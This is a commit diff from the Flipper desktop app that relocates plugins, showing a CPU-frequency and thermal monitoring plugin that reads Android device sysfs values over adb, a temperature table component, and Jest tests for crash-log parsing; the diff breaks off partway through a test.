Move plugins to "sonar/desktop/plugins"

Summary:
Plugins moved from "sonar/desktop/src/plugins" to "sonar/desktop/plugins".

Fixed all the paths after moving.

New "desktop" folder structure:
- `src` - Flipper desktop app JS code executing in Electron Renderer (Chrome) process.
- `static` - Flipper desktop app JS code executing in Electron Main (Node.js) process.
- `plugins` - Flipper desktop JS plugins.
- `pkg` - Flipper packaging lib and CLI tool.
- `doctor` - Flipper diagnostics lib and CLI tool.
- `scripts` - Build scripts for Flipper desktop app.
- `headless` - Headless version of Flipper desktop app.
- `headless-tests` - Integration tests running agains Flipper headless version.

Reviewed By: mweststrate

Differential Revision: D20344186

fbshipit-source-id: d020da970b2ea1e001f9061a8782bfeb54e31ba0
This commit is contained in:
Anton Nikolaev
2020-03-14 14:26:07 -07:00
committed by Facebook GitHub Bot
parent beb5c85e69
commit 10d990c32c
133 changed files with 106 additions and 77 deletions

View File

@@ -0,0 +1,76 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {Component, Text, SearchableTable} from 'flipper';
import React from 'react';
const ColumnSizes = {
thermal_zone: 'flex',
temperature: 'flex',
path: 'flex',
};
const Columns = {
thermal_zone: {
value: 'Thermal Zone',
resizable: true,
},
temperature: {
value: 'Temperature',
resizable: true,
},
path: {
value: 'Path',
resizable: true,
},
};
type TemperatureTableProps = {
temperatureMap: any;
};
export default class TemperatureTable extends Component<TemperatureTableProps> {
buildRow = (tz: string, tempInfo: any) => {
return {
columns: {
thermal_zone: {value: <Text>{tz}</Text>},
temperature: {
value: <Text>{tempInfo.temp.toString()}</Text>,
},
path: {
value: <Text>{tempInfo.path}</Text>,
},
},
key: tz,
};
};
buildRows = () => {
const rows = [];
for (const tz of Object.keys(this.props.temperatureMap).sort()) {
rows.push(this.buildRow(tz, this.props.temperatureMap[tz]));
}
return rows;
};
render() {
return (
<SearchableTable
multiline={true}
autoHeight={true}
floating={false}
zebra={true}
columnSizes={ColumnSizes}
columns={Columns}
rows={this.buildRows()}
grow={true}
/>
);
}
}

View File

@@ -0,0 +1,679 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {FlipperDevicePlugin, Device, AndroidDevice} from 'flipper';
import adb, {Client as ADBClient} from 'adbkit';
import TemperatureTable from './TemperatureTable';
import {
FlexColumn,
Button,
Toolbar,
Text,
ManagedTable,
colors,
styled,
Panel,
DetailSidebar,
ToggleButton,
} from 'flipper';
import React from 'react';
type TableRows = any;
// we keep vairable name with underline for to physical path mappings on device
type CPUFrequency = {
[index: string]: number | Array<number> | string | Array<string>;
cpu_id: number;
scaling_cur_freq: number;
scaling_min_freq: number;
scaling_max_freq: number;
scaling_available_freqs: Array<number>;
scaling_governor: string;
scaling_available_governors: Array<string>;
cpuinfo_max_freq: number;
cpuinfo_min_freq: number;
};
type CPUState = {
cpuFreq: Array<CPUFrequency>;
cpuCount: number;
monitoring: boolean;
hardwareInfo: string;
selectedIds: Array<number>;
temperatureMap: any;
thermalAccessible: boolean;
displayThermalInfo: boolean;
displayCPUDetail: boolean;
};
type ShellCallBack = (output: string) => any;
const ColumnSizes = {
cpu_id: '10%',
scaling_cur_freq: 'flex',
scaling_min_freq: 'flex',
scaling_max_freq: 'flex',
cpuinfo_min_freq: 'flex',
cpuinfo_max_freq: 'flex',
};
const Columns = {
cpu_id: {
value: 'CPU ID',
resizable: true,
},
scaling_cur_freq: {
value: 'Scaling Current',
resizable: true,
},
scaling_min_freq: {
value: 'Scaling MIN',
resizable: true,
},
scaling_max_freq: {
value: 'Scaling MAX',
resizable: true,
},
cpuinfo_min_freq: {
value: 'MIN Frequency',
resizable: true,
},
cpuinfo_max_freq: {
value: 'MAX Frequency',
resizable: true,
},
scaling_governor: {
value: 'Scaling Governor',
resizable: true,
},
};
const Heading = styled.div({
fontWeight: 'bold',
fontSize: 13,
display: 'block',
marginBottom: 10,
'&:not(:first-child)': {
marginTop: 20,
},
});
// check if str is a number
function isNormalInteger(str: string) {
const n = Math.floor(Number(str));
return String(n) === str && n >= 0;
}
// format frequency to MHz, GHz
function formatFrequency(freq: number) {
if (freq == -1) {
return 'N/A';
} else if (freq == -2) {
return 'off';
} else if (freq > 1000 * 1000) {
return (freq / 1000 / 1000).toFixed(2) + ' GHz';
} else {
return freq / 1000 + ' MHz';
}
}
export default class CPUFrequencyTable extends FlipperDevicePlugin<
CPUState,
any,
any
> {
intervalID: NodeJS.Timer | null = null;
state: CPUState = {
cpuCount: 0,
cpuFreq: [],
monitoring: false,
hardwareInfo: '',
selectedIds: [],
temperatureMap: {},
thermalAccessible: true,
displayThermalInfo: false,
displayCPUDetail: true,
};
static supportsDevice(device: Device) {
return device.os === 'Android' && device.deviceType === 'physical';
}
init() {
this.updateHardwareInfo();
this.readThermalZones();
// check how many cores we have on this device
this.executeShell((output: string) => {
const idx = output.indexOf('-');
const cpuFreq = [];
const count = parseInt(output.substring(idx + 1), 10) + 1;
for (let i = 0; i < count; ++i) {
cpuFreq[i] = {
cpu_id: i,
scaling_cur_freq: -1,
scaling_min_freq: -1,
scaling_max_freq: -1,
cpuinfo_min_freq: -1,
cpuinfo_max_freq: -1,
scaling_available_freqs: [],
scaling_governor: 'N/A',
scaling_available_governors: [],
};
}
this.setState({
cpuCount: count,
cpuFreq: cpuFreq,
monitoring: false,
hardwareInfo: '',
selectedIds: [],
temperatureMap: {},
thermalAccessible: true,
displayThermalInfo: false,
displayCPUDetail: true,
});
}, 'cat /sys/devices/system/cpu/possible');
}
executeShell = (callback: ShellCallBack, command: string) => {
return (this.device as AndroidDevice).adb
.shell(this.device.serial, command)
.then(adb.util.readAll)
.then(function(output: {toString: () => {trim: () => string}}) {
return callback(output.toString().trim());
});
};
updateCoreFrequency = (core: number, type: string) => {
this.executeShell((output: string) => {
const cpuFreq = this.state.cpuFreq;
const newFreq = isNormalInteger(output) ? parseInt(output, 10) : -1;
// update table only if frequency changed
if (cpuFreq[core][type] != newFreq) {
cpuFreq[core][type] = newFreq;
if (type == 'scaling_cur_freq' && cpuFreq[core][type] < 0) {
// cannot find current freq means offline
cpuFreq[core][type] = -2;
}
this.setState({
cpuFreq: cpuFreq,
});
}
}, 'cat /sys/devices/system/cpu/cpu' + core + '/cpufreq/' + type);
};
updateAvailableFrequencies = (core: number) => {
this.executeShell((output: string) => {
const cpuFreq = this.state.cpuFreq;
const freqs = output.split(' ').map((num: string) => {
return parseInt(num, 10);
});
cpuFreq[core].scaling_available_freqs = freqs;
const maxFreq = cpuFreq[core].scaling_max_freq;
if (maxFreq > 0 && freqs.indexOf(maxFreq) == -1) {
freqs.push(maxFreq); // always add scaling max to available frequencies
}
this.setState({
cpuFreq: cpuFreq,
});
}, 'cat /sys/devices/system/cpu/cpu' + core + '/cpufreq/scaling_available_frequencies');
};
updateCoreGovernor = (core: number) => {
this.executeShell((output: string) => {
const cpuFreq = this.state.cpuFreq;
if (output.toLowerCase().includes('no such file')) {
cpuFreq[core].scaling_governor = 'N/A';
} else {
cpuFreq[core].scaling_governor = output;
}
this.setState({
cpuFreq: cpuFreq,
});
}, 'cat /sys/devices/system/cpu/cpu' + core + '/cpufreq/scaling_governor');
};
readAvailableGovernors = (core: number) => {
this.executeShell((output: string) => {
const cpuFreq = this.state.cpuFreq;
cpuFreq[core].scaling_available_governors = output.split(' ');
this.setState({
cpuFreq: cpuFreq,
});
}, 'cat /sys/devices/system/cpu/cpu' + core + '/cpufreq/scaling_available_governors');
};
readCoreFrequency = (core: number) => {
const freq = this.state.cpuFreq[core];
if (freq.cpuinfo_max_freq < 0) {
this.updateCoreFrequency(core, 'cpuinfo_max_freq');
}
if (freq.cpuinfo_min_freq < 0) {
this.updateCoreFrequency(core, 'cpuinfo_min_freq');
}
this.updateCoreFrequency(core, 'scaling_cur_freq');
this.updateCoreFrequency(core, 'scaling_min_freq');
this.updateCoreFrequency(core, 'scaling_max_freq');
};
updateHardwareInfo = () => {
this.executeShell((output: string) => {
let hwInfo = '';
if (
output.startsWith('msm') ||
output.startsWith('apq') ||
output.startsWith('sdm')
) {
hwInfo = 'QUALCOMM ' + output.toUpperCase();
} else if (output.startsWith('exynos')) {
this.executeShell((output: string) => {
if (output != null) {
this.setState({
hardwareInfo: 'SAMSUMG ' + output.toUpperCase(),
});
}
}, 'getprop ro.chipname');
return;
} else if (output.startsWith('mt')) {
hwInfo = 'MEDIATEK ' + output.toUpperCase();
} else if (output.startsWith('sc')) {
hwInfo = 'SPREADTRUM ' + output.toUpperCase();
} else if (output.startsWith('hi') || output.startsWith('kirin')) {
hwInfo = 'HISILICON ' + output.toUpperCase();
} else if (output.startsWith('rk')) {
hwInfo = 'ROCKCHIP ' + output.toUpperCase();
} else if (output.startsWith('bcm')) {
hwInfo = 'BROADCOM ' + output.toUpperCase();
}
this.setState({
hardwareInfo: hwInfo,
});
}, 'getprop ro.board.platform');
};
readThermalZones = () => {
const thermal_dir = '/sys/class/thermal/';
const map = {};
this.executeShell(async (output: string) => {
if (output.toLowerCase().includes('permission denied')) {
this.setState({thermalAccessible: false});
return;
}
const dirs = output.split(/\s/);
const promises = [];
for (let d of dirs) {
d = d.trim();
if (d.length == 0) {
continue;
}
const path = thermal_dir + d;
promises.push(this.readThermalZone(path, d, map));
}
await Promise.all(promises);
this.setState({temperatureMap: map, thermalAccessible: true});
if (this.state.displayThermalInfo) {
setTimeout(this.readThermalZones, 1000);
}
}, 'ls ' + thermal_dir);
};
readThermalZone = (path: string, dir: string, map: any) => {
return this.executeShell((type: string) => {
if (type.length == 0) {
return;
}
return this.executeShell((temp: string) => {
if (Number.isNaN(Number(temp))) {
return;
}
map[type] = {
path: dir,
temp: parseInt(temp, 10),
};
}, 'cat ' + path + '/temp');
}, 'cat ' + path + '/type');
};
onStartMonitor = () => {
if (this.intervalID) {
return;
}
for (let i = 0; i < this.state.cpuCount; ++i) {
this.readAvailableGovernors(i);
}
this.intervalID = setInterval(() => {
for (let i = 0; i < this.state.cpuCount; ++i) {
this.readCoreFrequency(i);
this.updateCoreGovernor(i);
this.updateAvailableFrequencies(i); // scaling max might change, so we also update this
}
}, 500);
this.setState({
monitoring: true,
});
};
onStopMonitor = () => {
if (!this.intervalID) {
return;
} else {
clearInterval(this.intervalID);
this.intervalID = null;
this.setState({
monitoring: false,
});
this.cleanup();
}
};
cleanup = () => {
const cpuFreq = this.state.cpuFreq;
for (let i = 0; i < this.state.cpuCount; ++i) {
cpuFreq[i].scaling_cur_freq = -1;
cpuFreq[i].scaling_min_freq = -1;
cpuFreq[i].scaling_max_freq = -1;
cpuFreq[i].scaling_available_freqs = [];
cpuFreq[i].scaling_governor = 'N/A';
// we don't cleanup cpuinfo_min_freq, cpuinfo_max_freq
// because usually they are fixed (hardware)
}
this.setState({
cpuFreq: cpuFreq,
});
};
teardown() {
this.cleanup();
}
buildRow = (freq: CPUFrequency, idx: number) => {
const selected = this.state.selectedIds.indexOf(idx) >= 0;
let style = {};
if (freq.scaling_cur_freq == -2) {
style = {
style: {
backgroundColor: colors.blueTint30,
color: colors.white,
fontWeight: 700,
},
};
} else if (
freq.scaling_min_freq != freq.cpuinfo_min_freq &&
freq.scaling_min_freq > 0 &&
freq.cpuinfo_min_freq > 0
) {
style = {
style: {
backgroundColor: selected ? colors.red : colors.redTint,
color: colors.red,
fontWeight: 700,
},
};
} else if (
freq.scaling_max_freq != freq.cpuinfo_max_freq &&
freq.scaling_max_freq > 0 &&
freq.cpuinfo_max_freq > 0
) {
style = {
style: {
backgroundColor: colors.yellowTint,
color: colors.yellow,
fontWeight: 700,
},
};
}
return {
columns: {
cpu_id: {value: <Text>CPU_{freq.cpu_id}</Text>},
scaling_cur_freq: {
value: <Text>{formatFrequency(freq.scaling_cur_freq)}</Text>,
},
scaling_min_freq: {
value: <Text>{formatFrequency(freq.scaling_min_freq)}</Text>,
},
scaling_max_freq: {
value: <Text>{formatFrequency(freq.scaling_max_freq)}</Text>,
},
cpuinfo_min_freq: {
value: <Text>{formatFrequency(freq.cpuinfo_min_freq)}</Text>,
},
cpuinfo_max_freq: {
value: <Text>{formatFrequency(freq.cpuinfo_max_freq)}</Text>,
},
scaling_governor: {
value: <Text>{freq.scaling_governor}</Text>,
},
},
key: freq.cpu_id,
style,
};
};
frequencyRows = (cpuFreqs: Array<CPUFrequency>): TableRows => {
return cpuFreqs.map(this.buildRow);
};
buildAvailableFreqList = (freq: CPUFrequency) => {
if (freq.scaling_available_freqs.length == 0) {
return <Text>N/A</Text>;
}
const info = freq;
return (
<Text>
{freq.scaling_available_freqs.map((freq, idx) => {
const style: React.CSSProperties = {};
if (
freq == info.scaling_cur_freq ||
freq == info.scaling_min_freq ||
freq == info.scaling_max_freq
) {
style.fontWeight = 'bold';
}
return (
<Text key={idx} style={style}>
{formatFrequency(freq)}
{freq == info.scaling_cur_freq && (
<Text style={style}> (scaling current)</Text>
)}
{freq == info.scaling_min_freq && (
<Text style={style}> (scaling min)</Text>
)}
{freq == info.scaling_max_freq && (
<Text style={style}> (scaling max)</Text>
)}
<br />
</Text>
);
})}
</Text>
);
};
buildAvailableGovList = (freq: CPUFrequency): string => {
if (freq.scaling_available_governors.length == 0) {
return 'N/A';
}
return freq.scaling_available_governors.join(', ');
};
buildSidebarRow = (key: string, val: any) => {
return {
columns: {
key: {value: <Text>{key}</Text>},
value: {
value: val,
},
},
key: key,
};
};
sidebarRows = (id: number) => {
let availableFreqTitle = 'Scaling Available Frequencies';
const selected = this.state.cpuFreq[id];
if (selected.scaling_available_freqs.length > 0) {
availableFreqTitle +=
' (' + selected.scaling_available_freqs.length.toString() + ')';
}
const keys = [availableFreqTitle, 'Scaling Available Governors'];
const vals = [
this.buildAvailableFreqList(selected),
this.buildAvailableGovList(selected),
];
return keys.map<any>((key, idx) => {
return this.buildSidebarRow(key, vals[idx]);
});
};
renderCPUSidebar = () => {
if (!this.state.displayCPUDetail || this.state.selectedIds.length == 0) {
return null;
}
const id = this.state.selectedIds[0];
const cols = {
key: {
value: 'key',
resizable: true,
},
value: {
value: 'value',
resizable: true,
},
};
const colSizes = {
key: '35%',
value: 'flex',
};
return (
<DetailSidebar width={500}>
<Panel
padded={true}
heading="CPU details"
floating={false}
collapsable={true}
grow={true}>
<Heading>CPU_{id}</Heading>
<ManagedTable
columnSizes={colSizes}
multiline={true}
columns={cols}
autoHeight={true}
floating={false}
zebra={true}
rows={this.sidebarRows(id)}
/>
</Panel>
</DetailSidebar>
);
};
renderThermalSidebar = () => {
if (!this.state.displayThermalInfo) {
return null;
}
return (
<DetailSidebar width={500}>
<Panel
padded={true}
heading="Thermal Information"
floating={false}
collapsable={true}
grow={false}>
{this.state.thermalAccessible ? (
<TemperatureTable temperatureMap={this.state.temperatureMap} />
) : (
'Temperature information not accessible on this device.'
)}
</Panel>
</DetailSidebar>
);
};
toggleThermalSidebar = () => {
if (!this.state.displayThermalInfo) {
this.readThermalZones();
}
this.setState({
displayThermalInfo: !this.state.displayThermalInfo,
displayCPUDetail: false,
});
};
toggleCPUSidebar = () => {
this.setState({
displayCPUDetail: !this.state.displayCPUDetail,
displayThermalInfo: false,
});
};
render() {
return (
<Panel
padded={false}
heading="CPU info"
floating={false}
collapsable={false}
grow={true}>
<Toolbar position="top">
{this.state.monitoring ? (
<Button onClick={this.onStopMonitor} icon="pause">
Pause
</Button>
) : (
<Button onClick={this.onStartMonitor} icon="play">
Start
</Button>
)}
&nbsp; {this.state.hardwareInfo}
<ToggleButton
toggled={this.state.displayThermalInfo}
onClick={this.toggleThermalSidebar}
/>
Thermal Information
<ToggleButton
onClick={this.toggleCPUSidebar}
toggled={this.state.displayCPUDetail}
/>
CPU Details
{this.state.displayCPUDetail &&
this.state.selectedIds.length == 0 &&
' (Please select a core in the table below)'}
</Toolbar>
<FlexColumn grow={true}>
<ManagedTable
multiline={true}
columnSizes={ColumnSizes}
columns={Columns}
autoHeight={true}
floating={false}
zebra={true}
rows={this.frequencyRows(this.state.cpuFreq)}
onRowHighlighted={selectedIds => {
this.setState({
selectedIds: selectedIds.map(parseInt),
});
}}
/>
{this.renderCPUSidebar()}
{this.renderThermalSidebar()}
</FlexColumn>
</Panel>
);
}
}

View File

@@ -0,0 +1,12 @@
{
"name": "DeviceCPU",
"version": "1.0.0",
"main": "index.tsx",
"license": "MIT",
"keywords": ["flipper-plugin"],
"title": "CPU",
"icon": "underline",
"bugs": {
"email": "barney@fb.com"
}
}

View File

@@ -0,0 +1,4 @@
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1

View File

@@ -0,0 +1,371 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import BaseDevice from '../../../src/devices/BaseDevice.tsx';
import CrashReporterPlugin from '../../crash_reporter';
import type {PersistedState, Crash} from '../../crash_reporter';
import {
parseCrashLog,
getNewPersisitedStateFromCrashLog,
parsePath,
shouldShowCrashNotification,
} from '../../crash_reporter';
import {
getPluginKey,
getPersistedState,
} from '../../../src/utils/pluginUtils.tsx';
function setDefaultPersistedState(defaultState: PersistedState) {
CrashReporterPlugin.defaultPersistedState = defaultState;
}
function setNotificationID(notificationID: number) {
CrashReporterPlugin.notificationID = notificationID;
}
function setCrashReporterPluginID(id: string) {
CrashReporterPlugin.id = id;
}
function getCrash(
id: number,
callstack: string,
name: string,
reason: string,
): Crash {
return {
notificationID: id.toString(),
callstack: callstack,
reason: reason,
name: name,
date: new Date(),
};
}
function assertCrash(crash: Crash, expectedCrash: Crash) {
const {notificationID, callstack, reason, name, date} = crash;
expect(notificationID).toEqual(expectedCrash.notificationID);
expect(callstack).toEqual(expectedCrash.callstack);
expect(reason).toEqual(expectedCrash.reason);
expect(name).toEqual(expectedCrash.name);
expect(date.toDateString()).toEqual(expectedCrash.date.toDateString());
}
beforeEach(() => {
setNotificationID(0); // Resets notificationID to 0
setDefaultPersistedState({crashes: []}); // Resets defaultpersistedstate
setCrashReporterPluginID('CrashReporter');
});
afterAll(() => {
// Reset values
setNotificationID(0);
setDefaultPersistedState({crashes: []});
setCrashReporterPluginID('');
});
test('test the parsing of the date and crash info for the log which matches the predefined regex', () => {
const log =
'Blaa Blaaa \n Blaa Blaaa \n Exception Type: SIGSEGV \n Blaa Blaa \n Blaa Blaa Date/Time: 2019-03-21 12:07:00.861 +0000 \n Blaa balaaa';
const crash = parseCrashLog(log, 'iOS');
expect(crash.callstack).toEqual(log);
expect(crash.reason).toEqual('SIGSEGV');
expect(crash.name).toEqual('SIGSEGV');
expect(crash.date).toEqual(new Date('2019-03-21 12:07:00.861'));
});
test('test the parsing of the reason for crash when log matches the crash regex, but there is no mention of date', () => {
const log =
'Blaa Blaaa \n Blaa Blaaa \n Exception Type: SIGSEGV \n Blaa Blaa \n Blaa Blaa';
const crash = parseCrashLog(log, 'iOS');
expect(crash.callstack).toEqual(log);
expect(crash.reason).toEqual('SIGSEGV');
expect(crash.name).toEqual('SIGSEGV');
expect(crash.date).toBeUndefined();
});
test('test the parsing of the crash log when log does not match the predefined regex but is alphanumeric', () => {
const log = 'Blaa Blaaa \n Blaa Blaaa \n Blaa Blaaa';
const crash = parseCrashLog(log, 'iOS');
expect(crash.callstack).toEqual(log);
expect(crash.reason).toEqual('Cannot figure out the cause');
expect(crash.name).toEqual('Cannot figure out the cause');
});
test('test the parsing of the reason for crash when log does not match the predefined regex contains unicode character', () => {
const log =
'Blaa Blaaa \n Blaa Blaaa \n Exception Type: 🍕🐬 \n Blaa Blaa \n Blaa Blaa';
const crash = parseCrashLog(log, 'iOS');
expect(crash.callstack).toEqual(log);
expect(crash.reason).toEqual('Cannot figure out the cause');
expect(crash.name).toEqual('Cannot figure out the cause');
expect(crash.date).toBeUndefined();
});
test('test the parsing of the reason for crash when log is empty', () => {
const log = '';
const crash = parseCrashLog(log, 'iOS');
expect(crash.callstack).toEqual(log);
expect(crash.reason).toEqual('Cannot figure out the cause');
expect(crash.name).toEqual('Cannot figure out the cause');
expect(crash.date).toBeUndefined();
});
test('test the parsing of the Android crash log for the proper android crash format', () => {
const log =
'FATAL EXCEPTION: main\nProcess: com.facebook.flipper.sample, PID: 27026\njava.lang.IndexOutOfBoundsException: Index: 190, Size: 0\n\tat java.util.ArrayList.get(ArrayList.java:437)\n\tat com.facebook.flipper.sample.RootComponentSpec.hitGetRequest(RootComponentSpec.java:72)\n\tat com.facebook.flipper.sample.RootComponent.hitGetRequest(RootComponent.java:46)\n';
const date = new Date();
const crash = parseCrashLog(log, 'Android', date);
expect(crash.callstack).toEqual(log);
expect(crash.reason).toEqual(
'java.lang.IndexOutOfBoundsException: Index: 190, Size: 0',
);
expect(crash.name).toEqual('FATAL EXCEPTION: main');
expect(crash.date).toEqual(date);
});
test('test the parsing of the Android crash log for the unknown crash format and no date', () => {
const log = 'Blaa Blaa Blaa';
const crash = parseCrashLog(log, 'Android');
expect(crash.callstack).toEqual(log);
expect(crash.reason).toEqual('Cannot figure out the cause');
expect(crash.name).toEqual('Cannot figure out the cause');
expect(crash.date).toBeUndefined();
});
test('test the parsing of the Android crash log for the partial format matching the crash format', () => {
const log = 'First Line Break \n Blaa Blaa \n Blaa Blaa ';
const crash = parseCrashLog(log, 'Android');
expect(crash.callstack).toEqual(log);
expect(crash.reason).toEqual('Cannot figure out the cause');
expect(crash.name).toEqual('First Line Break ');
});
test('test the parsing of the Android crash log with os being iOS', () => {
const log =
'FATAL EXCEPTION: main\nProcess: com.facebook.flipper.sample, PID: 27026\njava.lang.IndexOutOfBoundsException: Index: 190, Size: 0\n\tat java.util.ArrayList.get(ArrayList.java:437)\n\tat com.facebook.flipper.sample.RootComponentSpec.hitGetRequest(RootComponentSpec.java:72)\n\tat com.facebook.flipper.sample.RootComponent.hitGetRequest(RootComponent.java:46)\n';
const crash = parseCrashLog(log, 'iOS');
expect(crash.callstack).toEqual(log);
expect(crash.reason).toEqual('Cannot figure out the cause');
expect(crash.name).toEqual('Cannot figure out the cause');
});
test('test the getter of pluginKey with proper input', () => {
const device = new BaseDevice('serial', 'emulator', 'test device');
const pluginKey = getPluginKey(null, device, 'CrashReporter');
expect(pluginKey).toEqual('serial#CrashReporter');
});
test('test the getter of pluginKey with undefined input', () => {
const pluginKey = getPluginKey(null, undefined, 'CrashReporter');
expect(pluginKey).toEqual('unknown#CrashReporter');
});
test('test the getter of pluginKey with defined selected app', () => {
const pluginKey = getPluginKey('selectedApp', undefined, 'CrashReporter');
expect(pluginKey).toEqual('selectedApp#CrashReporter');
});
test('test the getter of pluginKey with defined selected app and defined base device', () => {
const device = new BaseDevice('serial', 'emulator', 'test device');
const pluginKey = getPluginKey('selectedApp', device, 'CrashReporter');
expect(pluginKey).toEqual('selectedApp#CrashReporter');
});
test('test defaultPersistedState of CrashReporterPlugin', () => {
expect(CrashReporterPlugin.defaultPersistedState).toEqual({crashes: []});
});
test('test helper setdefaultPersistedState function', () => {
const crash = getCrash(0, 'callstack', 'crash0', 'crash0');
setDefaultPersistedState({crashes: [crash]});
expect(CrashReporterPlugin.defaultPersistedState).toEqual({crashes: [crash]});
});
test('test getPersistedState for non-empty defaultPersistedState and undefined pluginState', () => {
const crash = getCrash(0, 'callstack', 'crash0', 'crash0');
setDefaultPersistedState({crashes: [crash]});
const pluginStates = {};
const perisistedState = getPersistedState(
getPluginKey(null, null, CrashReporterPlugin.id),
CrashReporterPlugin,
pluginStates,
);
expect(perisistedState).toEqual({crashes: [crash]});
});
test('test getPersistedState for non-empty defaultPersistedState and defined pluginState', () => {
const crash = getCrash(0, 'callstack', 'crash0', 'crash0');
const pluginKey = getPluginKey(null, null, CrashReporterPlugin.id);
setDefaultPersistedState({crashes: [crash]});
const pluginStateCrash = getCrash(1, 'callstack', 'crash1', 'crash1');
const pluginStates = {'unknown#CrashReporter': {crashes: [pluginStateCrash]}};
const perisistedState = getPersistedState(
pluginKey,
CrashReporterPlugin,
pluginStates,
);
expect(perisistedState).toEqual({crashes: [pluginStateCrash]});
});
test('test getNewPersisitedStateFromCrashLog for non-empty defaultPersistedState and defined pluginState', () => {
const crash = getCrash(0, 'callstack', 'crash0', 'crash0');
const pluginKey = getPluginKey(null, null, CrashReporterPlugin.id);
setDefaultPersistedState({crashes: [crash]});
const pluginStateCrash = getCrash(1, 'callstack', 'crash1', 'crash1');
const pluginStates = {'unknown#CrashReporter': {crashes: [pluginStateCrash]}};
const perisistedState = getPersistedState(
pluginKey,
CrashReporterPlugin,
pluginStates,
);
const content =
'Blaa Blaaa \n Blaa Blaaa \n Exception Type: SIGSEGV \n Blaa Blaa \n Blaa Blaa';
expect(perisistedState).toBeDefined();
const {crashes} = perisistedState;
expect(crashes).toBeDefined();
expect(crashes.length).toEqual(1);
expect(crashes[0]).toEqual(pluginStateCrash);
const newPersistedState = getNewPersisitedStateFromCrashLog(
perisistedState,
CrashReporterPlugin,
content,
'iOS',
);
expect(newPersistedState).toBeDefined();
// $FlowFixMe: Checked if perisistedState is defined or not
const newPersistedStateCrashes = newPersistedState.crashes;
expect(newPersistedStateCrashes).toBeDefined();
expect(newPersistedStateCrashes.length).toEqual(2);
assertCrash(newPersistedStateCrashes[0], pluginStateCrash);
assertCrash(
newPersistedStateCrashes[1],
getCrash(1, content, 'SIGSEGV', 'SIGSEGV'),
);
});
test('test getNewPersisitedStateFromCrashLog for non-empty defaultPersistedState and undefined pluginState', () => {
setNotificationID(0);
const crash = getCrash(0, 'callstack', 'crash0', 'crash0');
const pluginKey = getPluginKey(null, null, CrashReporterPlugin.id);
setDefaultPersistedState({crashes: [crash]});
const pluginStates = {};
const perisistedState = getPersistedState(
pluginKey,
CrashReporterPlugin,
pluginStates,
);
const content = 'Blaa Blaaa \n Blaa Blaaa \n Exception Type: SIGSEGV';
expect(perisistedState).toEqual({crashes: [crash]});
const newPersistedState = getNewPersisitedStateFromCrashLog(
perisistedState,
CrashReporterPlugin,
content,
'iOS',
);
expect(newPersistedState).toBeDefined();
// $FlowFixMe: Checked if perisistedState is defined or not
const {crashes} = newPersistedState;
expect(crashes).toBeDefined();
expect(crashes.length).toEqual(2);
assertCrash(crashes[0], crash);
assertCrash(crashes[1], getCrash(1, content, 'SIGSEGV', 'SIGSEGV'));
});
test('test getNewPersisitedStateFromCrashLog for non-empty defaultPersistedState and defined pluginState and improper crash log', () => {
setNotificationID(0);
const crash = getCrash(0, 'callstack', 'crash0', 'crash0');
const pluginKey = getPluginKey(null, null, CrashReporterPlugin.id);
setDefaultPersistedState({crashes: [crash]});
const pluginStateCrash = getCrash(1, 'callstack', 'crash1', 'crash1');
const pluginStates = {'unknown#CrashReporter': {crashes: [pluginStateCrash]}};
const perisistedState = getPersistedState(
pluginKey,
CrashReporterPlugin,
pluginStates,
);
const content = 'Blaa Blaaa \n Blaa Blaaa';
expect(perisistedState).toEqual({crashes: [pluginStateCrash]});
const newPersistedState = getNewPersisitedStateFromCrashLog(
perisistedState,
CrashReporterPlugin,
content,
'iOS',
);
expect(newPersistedState).toBeDefined();
// $FlowFixMe: Checked if perisistedState is defined or not
const {crashes} = newPersistedState;
expect(crashes).toBeDefined();
expect(crashes.length).toEqual(2);
assertCrash(crashes[0], pluginStateCrash);
assertCrash(
crashes[1],
getCrash(
1,
content,
'Cannot figure out the cause',
'Cannot figure out the cause',
),
);
});
test('test getNewPersisitedStateFromCrashLog when os is undefined', () => {
setNotificationID(0);
const crash = getCrash(0, 'callstack', 'crash0', 'crash0');
const pluginKey = getPluginKey(null, null, CrashReporterPlugin.id);
setDefaultPersistedState({crashes: [crash]});
const pluginStateCrash = getCrash(1, 'callstack', 'crash1', 'crash1');
const pluginStates = {'unknown#CrashReporter': {crashes: [pluginStateCrash]}};
const perisistedState = getPersistedState(
pluginKey,
CrashReporterPlugin,
pluginStates,
);
const content = 'Blaa Blaaa \n Blaa Blaaa';
const newPersistedState = getNewPersisitedStateFromCrashLog(
perisistedState,
CrashReporterPlugin,
content,
);
expect(newPersistedState).toEqual(null);
});
test('test parsing of path when inputs are correct', () => {
const content =
'Blaa Blaaa \n Blaa Blaaa \n Path: path/to/simulator/TH1S-15DEV1CE-1D/AppName.app/AppName \n Blaa Blaa \n Blaa Blaa';
const id = parsePath(content);
expect(id).toEqual('path/to/simulator/TH1S-15DEV1CE-1D/AppName.app/AppName');
});
test('test parsing of path when path has special characters in it', () => {
let content =
'Blaa Blaaa \n Blaa Blaaa \n Path: path/to/simulator/TH1S-15DEV1CE-1D/App Name.app/App Name \n Blaa Blaa \n Blaa Blaa';
let id = parsePath(content);
expect(id).toEqual(
'path/to/simulator/TH1S-15DEV1CE-1D/App Name.app/App Name',
);
content =
'Blaa Blaaa \n Blaa Blaaa \n Path: path/to/simulator/TH1S-15DEV1CE-1D/App_Name.app/App_Name \n Blaa Blaa \n Blaa Blaa';
id = parsePath(content);
expect(id).toEqual(
'path/to/simulator/TH1S-15DEV1CE-1D/App_Name.app/App_Name',
);
content =
'Blaa Blaaa \n Blaa Blaaa \n Path: path/to/simulator/TH1S-15DEV1CE-1D/App%20Name.app/App%20Name \n Blaa Blaa \n Blaa Blaa';
id = parsePath(content);
expect(id).toEqual(
'path/to/simulator/TH1S-15DEV1CE-1D/App%20Name.app/App%20Name',
);
});
test('test parsing of path when a regex is not present', () => {
const content = 'Blaa Blaaa \n Blaa Blaaa \n Blaa Blaa \n Blaa Blaa';
const id = parsePath(content);
expect(id).toEqual(null);
});
test('test shouldShowCrashNotification function for all correct inputs', () => {
const device = new BaseDevice('TH1S-15DEV1CE-1D', 'emulator', 'test device');
const content =
